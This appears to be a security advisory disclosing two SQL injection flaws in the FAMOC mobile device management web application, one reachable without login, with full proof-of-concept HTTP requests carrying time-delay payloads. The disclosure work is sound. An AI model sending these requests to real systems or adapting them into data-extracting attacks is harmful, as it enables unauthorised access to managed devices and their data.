~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

FAMOC is a mobile device management software by FancyFon supporting
different kinds of mobile devices.

The vendor FancyFon describes the product as follows (see [1]):

"FAMOC is a flexible and open mobile device lifecycle management 
solution, enabling any number of smartphones using a variety of 
operating  systems, to be centrally and remotely managed, over the 
Internet."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SySS GmbH found two boolean-based SQL injection vulnerabilities in 
the web application component of the FAMOC mobile device management 
solution which can be exploited from different attacker's perspectives.

1) SQL injection in ajax.php (REST URL parameter for device ID)

The REST URL parameter for the device ID of the PHP script ajax.php is
not sanitized sufficiently resulting in an SQL injection vulnerability.

This SQL injection vulnerability can be exploited by an
unauthenticated attacker by sending a specially crafted HTTP POST
request (see PoC section).


2) SQL injection in index.php (URL parameter "order")

The URL parameter "order" of the PHP script index.php is not sanitized
sufficiently resulting in an SQL injection vulnerability.

This SQL injection vulnerability can be exploited by an authenticated
attacker that is logged in to the FAMOC web UI by sending a specially
crafted HTTP GET request (see PoC section).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1) SQL injection in ajax.php (REST URL parameter for device ID)

The following HTTP POST request injecting the SQL command
'+(select * from (select(sleep(10)))a)+' as the URL REST parameter of
the device ID demonstrates the SQL injection vulnerability by a time 
delay of 10 seconds for the server response:

POST /ajax.php/'%2b(select%20*%20from%20(select(sleep(10)))a)%2b'/summary.xml?req=mdm/backup_upload.php HTTP/1.1
Host: <HOST>
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Connection: close

<operation type="backup">
  <item type="contacts" status="NOTEXIST" num_items="0" size="" path="" message="" passMD5="00000000000000000000000000000000">
    <file mdm5="" path="/contacts.vcf" status="MISSING" message="DELETED" size="0"/>
    <file mdm5="" path="/contacts.vcf" status="NOTEXIST" message="FAIL" size="0"/>
  </item>
</operation>


2) SQL injection in index.php (URL parameter "order")

The following HTTP GET request injecting the SQL command 
,(select * from (select(sleep(10)))a) via the URL parameter "order"
demonstrates the SQL injection vulnerability by a time delay of 10 
seconds for the server response:

GET /index.php?name=&order=my_last_login%20desc%2cinstitution_name%2c(select%20*%20from%20(select(sleep(10)))a)&page=1&myorgs=0 HTTP/1.1
Host: <HOST>
Cookie: PHPSESSID=<SESSION_COOKIE>
